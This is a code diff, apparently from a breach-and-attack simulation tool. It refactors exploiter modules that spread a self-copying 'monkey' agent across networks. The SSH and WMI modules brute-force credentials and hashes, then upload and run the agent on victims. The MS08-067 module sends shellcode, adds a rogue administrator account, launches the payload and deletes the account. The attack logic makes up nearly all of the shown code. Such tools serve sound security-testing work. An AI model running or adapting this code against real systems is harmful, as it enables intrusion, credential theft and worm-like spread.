cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,))
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||||
rpctransport.set_dport(port)
|
rpctransport.set_dport(port)
|
||||||
|
|
||||||
if hasattr(rpctransport, 'preferred_dialect'):
|
if hasattr(rpctransport, 'preferred_dialect'):
|
||||||
|
@ -125,7 +110,7 @@ class SmbExploiter(HostExploiter):
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
||||||
host, exc)
|
self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
smb_conn = rpctransport.get_smb_connection()
|
smb_conn = rpctransport.get_smb_connection()
|
||||||
|
@ -150,6 +135,6 @@ class SmbExploiter(HostExploiter):
|
||||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
remote_full_path, host, cmdline)
|
remote_full_path, self.host, cmdline)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -1,13 +1,14 @@
|
||||||
import paramiko
|
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
from itertools import product
|
|
||||||
|
import paramiko
|
||||||
|
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
from tools import build_monkey_commandline, report_failed_login
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||||
from model import MONKEY_ARG
|
from model import MONKEY_ARG
|
||||||
from exploit.tools import get_target_monkey
|
|
||||||
from network.tools import check_port_tcp
|
from network.tools import check_port_tcp
|
||||||
|
from tools import build_monkey_commandline
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -17,9 +18,10 @@ TRANSFER_UPDATE_RATE = 15
|
||||||
|
|
||||||
|
|
||||||
class SSHExploiter(HostExploiter):
|
class SSHExploiter(HostExploiter):
|
||||||
_target_os_type = ['linux', None]
|
_TARGET_OS_TYPE = ['linux', None]
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self, host):
|
||||||
|
super(SSHExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self._update_timestamp = 0
|
self._update_timestamp = 0
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
@ -29,19 +31,19 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||||
self._update_timestamp = time.time()
|
self._update_timestamp = time.time()
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
ssh = paramiko.SSHClient()
|
ssh = paramiko.SSHClient()
|
||||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
|
|
||||||
port = SSH_PORT
|
port = SSH_PORT
|
||||||
# if ssh banner found on different port, use that port.
|
# if ssh banner found on different port, use that port.
|
||||||
for servkey, servdata in host.services.items():
|
for servkey, servdata in self.host.services.items():
|
||||||
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
|
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
|
||||||
port = int(servkey.replace('tcp-', ''))
|
port = int(servkey.replace('tcp-', ''))
|
||||||
|
|
||||||
is_open, _ = check_port_tcp(host.ip_addr, port)
|
is_open, _ = check_port_tcp(self.host.ip_addr, port)
|
||||||
if not is_open:
|
if not is_open:
|
||||||
LOG.info("SSH port is closed on %r, skipping", host)
|
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
@ -49,63 +51,63 @@ class SSHExploiter(HostExploiter):
|
||||||
exploited = False
|
exploited = False
|
||||||
for user, curpass in user_password_pairs:
|
for user, curpass in user_password_pairs:
|
||||||
try:
|
try:
|
||||||
ssh.connect(host.ip_addr,
|
ssh.connect(self.host.ip_addr,
|
||||||
username=user,
|
username=user,
|
||||||
password=curpass,
|
password=curpass,
|
||||||
port=port,
|
port=port,
|
||||||
timeout=None)
|
timeout=None)
|
||||||
|
|
||||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||||
host, user, curpass)
|
self.host, user, curpass)
|
||||||
host.learn_credentials(user, curpass)
|
self.report_login_attempt(True, user, curpass)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error logging into victim %r with user"
|
LOG.debug("Error logging into victim %r with user"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s and password '%s': (%s)", self.host,
|
||||||
user, curpass, exc)
|
user, curpass, exc)
|
||||||
report_failed_login(self, host, user, curpass)
|
self.report_login_attempt(False, user, curpass)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if not host.os.get('type'):
|
if not self.host.os.get('type'):
|
||||||
try:
|
try:
|
||||||
_, stdout, _ = ssh.exec_command('uname -o')
|
_, stdout, _ = ssh.exec_command('uname -o')
|
||||||
uname_os = stdout.read().lower().strip()
|
uname_os = stdout.read().lower().strip()
|
||||||
if 'linux' in uname_os:
|
if 'linux' in uname_os:
|
||||||
host.os['type'] = 'linux'
|
self.host.os['type'] = 'linux'
|
||||||
else:
|
else:
|
||||||
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
||||||
return False
|
return False
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
|
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if not host.os.get('machine'):
|
if not self.host.os.get('machine'):
|
||||||
try:
|
try:
|
||||||
_, stdout, _ = ssh.exec_command('uname -m')
|
_, stdout, _ = ssh.exec_command('uname -m')
|
||||||
uname_machine = stdout.read().lower().strip()
|
uname_machine = stdout.read().lower().strip()
|
||||||
if '' != uname_machine:
|
if '' != uname_machine:
|
||||||
host.os['machine'] = uname_machine
|
self.host.os['machine'] = uname_machine
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
|
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
|
||||||
|
|
||||||
if self.skip_exist:
|
if self.skip_exist:
|
||||||
_, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
|
_, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
|
||||||
stdout_res = stdout.read().strip()
|
stdout_res = stdout.read().strip()
|
||||||
if stdout_res:
|
if stdout_res:
|
||||||
# file exists
|
# file exists
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
return True # return already infected
|
return True # return already infected
|
||||||
|
|
||||||
src_path = src_path or get_target_monkey(host)
|
src_path = get_target_monkey(self.host)
|
||||||
|
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -115,25 +117,25 @@ class SSHExploiter(HostExploiter):
|
||||||
with monkeyfs.open(src_path) as file_obj:
|
with monkeyfs.open(src_path) as file_obj:
|
||||||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
||||||
callback=self.log_transfer)
|
callback=self.log_transfer)
|
||||||
ftp.chmod(self._config.dropper_target_path_linux, 0777)
|
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||||
|
|
||||||
ftp.close()
|
ftp.close()
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
|
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(host, depth-1)
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
cmdline += "&"
|
cmdline += "&"
|
||||||
ssh.exec_command(cmdline)
|
ssh.exec_command(cmdline)
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux, host, cmdline)
|
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||||
|
|
||||||
ssh.close()
|
ssh.close()
|
||||||
return True
|
return True
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
|
LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -469,21 +469,13 @@ def build_monkey_commandline(target_host, depth, location=None):
|
||||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||||
|
|
||||||
|
|
||||||
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
|
|
||||||
from control import ControlClient
|
|
||||||
telemetry_dict = \
|
|
||||||
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
|
|
||||||
'user': user, 'password': password}
|
|
||||||
if lm_hash:
|
|
||||||
telemetry_dict['lm_hash'] = lm_hash
|
|
||||||
if ntlm_hash:
|
|
||||||
telemetry_dict['ntlm_hash'] = ntlm_hash
|
|
||||||
|
|
||||||
ControlClient.send_telemetry('exploit', telemetry_dict)
|
|
||||||
|
|
||||||
|
|
||||||
def get_binaries_dir_path():
|
def get_binaries_dir_path():
|
||||||
if getattr(sys, 'frozen', False):
|
if getattr(sys, 'frozen', False):
|
||||||
return sys._MEIPASS
|
return sys._MEIPASS
|
||||||
else:
|
else:
|
||||||
return os.path.dirname(os.path.abspath(__file__))
|
return os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
|
||||||
|
def get_monkey_depth():
|
||||||
|
from config import WormConfiguration
|
||||||
|
return WormConfiguration.depth
|
||||||
|
|
|
@ -6,36 +6,21 @@
|
||||||
# Email: d3basis.m0hanty @ gmail.com
|
# Email: d3basis.m0hanty @ gmail.com
|
||||||
#############################################################################
|
#############################################################################
|
||||||
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
import socket
|
import socket
|
||||||
|
import time
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
|
|
||||||
from enum import IntEnum
|
from enum import IntEnum
|
||||||
|
from impacket import uuid
|
||||||
|
from impacket.dcerpc.v5 import transport
|
||||||
|
|
||||||
from exploit.tools import SmbTools, get_target_monkey
|
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
from model.host import VictimHost
|
|
||||||
from network import SMBFinger
|
from network import SMBFinger
|
||||||
from network.tools import check_port_tcp
|
from network.tools import check_port_tcp
|
||||||
from tools import build_monkey_commandline
|
from tools import build_monkey_commandline
|
||||||
from . import HostExploiter
|
from . import HostExploiter
|
||||||
|
|
||||||
try:
|
|
||||||
from impacket import smb
|
|
||||||
from impacket import uuid
|
|
||||||
# from impacket.dcerpc import dcerpc
|
|
||||||
from impacket.dcerpc.v5 import transport
|
|
||||||
from impacket.smbconnection import SessionError as SessionError1
|
|
||||||
from impacket.smb import SessionError as SessionError2
|
|
||||||
from impacket.smb3 import SessionError as SessionError3
|
|
||||||
except ImportError as exc:
|
|
||||||
print str(exc)
|
|
||||||
print 'Install the following library to make this script work'
|
|
||||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
|
||||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||||
|
@ -167,59 +152,59 @@ class SRVSVC_Exploit(object):
|
||||||
|
|
||||||
|
|
||||||
class Ms08_067_Exploiter(HostExploiter):
|
class Ms08_067_Exploiter(HostExploiter):
|
||||||
_target_os_type = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
|
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
|
||||||
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
|
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self, host):
|
||||||
|
super(Ms08_067_Exploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self._guid = __import__('config').GUID
|
self._guid = __import__('config').GUID
|
||||||
|
|
||||||
def is_os_supported(self, host):
|
def is_os_supported(self):
|
||||||
if host.os.get('type') in self._target_os_type and \
|
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
||||||
host.os.get('version') in self._windows_versions.keys():
|
self.host.os.get('version') in self._windows_versions.keys():
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
|
if not self.host.os.get('type') or (
|
||||||
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
|
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
|
||||||
|
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
|
||||||
if is_smb_open:
|
if is_smb_open:
|
||||||
smb_finger = SMBFinger()
|
smb_finger = SMBFinger()
|
||||||
if smb_finger.get_host_fingerprint(host):
|
if smb_finger.get_host_fingerprint(self.host):
|
||||||
return host.os.get('type') in self._target_os_type and \
|
return self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
||||||
host.os.get('version') in self._windows_versions.keys()
|
self.host.os.get('version') in self._windows_versions.keys()
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
assert isinstance(host, VictimHost)
|
src_path = get_target_monkey(self.host)
|
||||||
|
|
||||||
src_path = src_path or get_target_monkey(host)
|
|
||||||
|
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
|
os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for _ in range(self._config.ms08_067_exploit_attempts):
|
for _ in range(self._config.ms08_067_exploit_attempts):
|
||||||
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
|
exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock = exploit.start()
|
sock = exploit.start()
|
||||||
|
|
||||||
sock.send("cmd /c (net user %s %s /add) &&"
|
sock.send("cmd /c (net user %s %s /add) &&"
|
||||||
" (net localgroup administrators %s /add)\r\n" % \
|
" (net localgroup administrators %s /add)\r\n" %
|
||||||
(self._config.ms08_067_remote_user_add,
|
(self._config.ms08_067_remote_user_add,
|
||||||
self._config.ms08_067_remote_user_pass,
|
self._config.ms08_067_remote_user_pass,
|
||||||
self._config.ms08_067_remote_user_add))
|
self._config.ms08_067_remote_user_add))
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
LOG.debug("Exploited into %r using MS08-067", host)
|
LOG.debug("Exploited into %r using MS08-067", self.host)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
|
@ -227,7 +212,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
self._config.ms08_067_remote_user_add,
|
self._config.ms08_067_remote_user_add,
|
||||||
|
@ -236,7 +221,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
for password in self._config.exploit_password_list:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
"Administrator",
|
"Administrator",
|
||||||
|
@ -250,16 +235,16 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(host, depth - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline,))
|
sock.send("start %s\r\n" % (cmdline,))
|
||||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||||
return False
|
return False
|
||||||
finally:
|
finally:
|
||||||
try:
|
try:
|
||||||
|
@ -268,6 +253,6 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
remote_full_path, host, cmdline)
|
remote_full_path, self.host, cmdline)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -1,80 +1,81 @@
|
||||||
import socket
|
|
||||||
import ntpath
|
|
||||||
import logging
|
import logging
|
||||||
|
import ntpath
|
||||||
|
import socket
|
||||||
import traceback
|
import traceback
|
||||||
from tools import build_monkey_commandline
|
|
||||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
|
||||||
from model.host import VictimHost
|
|
||||||
from exploit import HostExploiter
|
|
||||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||||
|
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
|
||||||
|
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
|
from tools import build_monkey_commandline
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class WmiExploiter(HostExploiter):
|
class WmiExploiter(HostExploiter):
|
||||||
_target_os_type = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self, host):
|
||||||
|
super(WmiExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self._guid = __import__('config').GUID
|
self._guid = __import__('config').GUID
|
||||||
|
|
||||||
@WmiTools.dcom_wrap
|
@WmiTools.dcom_wrap
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
assert isinstance(host, VictimHost)
|
src_path = get_target_monkey(self.host)
|
||||||
|
|
||||||
src_path = src_path or get_target_monkey(host)
|
|
||||||
|
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
for user, password, lm_hash, ntlm_hash in creds:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
host, user, password, lm_hash, ntlm_hash)
|
self.host, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
wmi_connection = WmiTools.WmiConnection()
|
wmi_connection = WmiTools.WmiConnection()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
|
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
|
||||||
except AccessDeniedException:
|
except AccessDeniedException:
|
||||||
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||||
LOG.debug("Failed connecting to %r using WMI with "
|
LOG.debug("Failed connecting to %r using WMI with "
|
||||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
host, user, password, lm_hash, ntlm_hash)
|
self.host, user, password, lm_hash, ntlm_hash)
|
||||||
continue
|
continue
|
||||||
except DCERPCException as exc:
|
except DCERPCException:
|
||||||
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||||
LOG.debug("Failed connecting to %r using WMI with "
|
LOG.debug("Failed connecting to %r using WMI with "
|
||||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
host, user, password, lm_hash, ntlm_hash)
|
self.host, user, password, lm_hash, ntlm_hash)
|
||||||
continue
|
continue
|
||||||
except socket.error as exc:
|
except socket.error:
|
||||||
LOG.debug("Network error in WMI connection to %r with "
|
LOG.debug("Network error in WMI connection to %r with "
|
||||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
host, user, password, lm_hash, ntlm_hash)
|
self.host, user, password, lm_hash, ntlm_hash)
|
||||||
return False
|
return False
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Unknown WMI connection error to %r with "
|
LOG.debug("Unknown WMI connection error to %r with "
|
||||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
||||||
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||||
return False
|
return False
|
||||||
|
|
||||||
host.learn_credentials(user, password)
|
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
# query process list and check if monkey already running on victim
|
# query process list and check if monkey already running on victim
|
||||||
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
||||||
fields=("Caption", ),
|
fields=("Caption",),
|
||||||
where="Name='%s'" % ntpath.split(src_path)[-1])
|
where="Name='%s'" % ntpath.split(src_path)[-1])
|
||||||
if process_list:
|
if process_list:
|
||||||
wmi_connection.close()
|
wmi_connection.close()
|
||||||
|
|
||||||
LOG.debug("Skipping %r - already infected", host)
|
LOG.debug("Skipping %r - already infected", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
user,
|
user,
|
||||||
|
@ -89,10 +90,10 @@ class WmiExploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(host, depth - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
# execute the remote monkey
|
# execute the remote monkey
|
||||||
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
||||||
|
@ -101,11 +102,11 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
if (0 != result.ProcessId) and (0 == result.ReturnValue):
|
||||||
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
||||||
success = True
|
success = True
|
||||||
else:
|
else:
|
||||||
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
|
||||||
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
|
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
|
||||||
success = False
|
success = False
|
||||||
|
|
||||||
result.RemRelease()
|
result.RemRelease()
|
||||||
|
|
|
@ -4,7 +4,6 @@ __author__ = 'itamar'
|
||||||
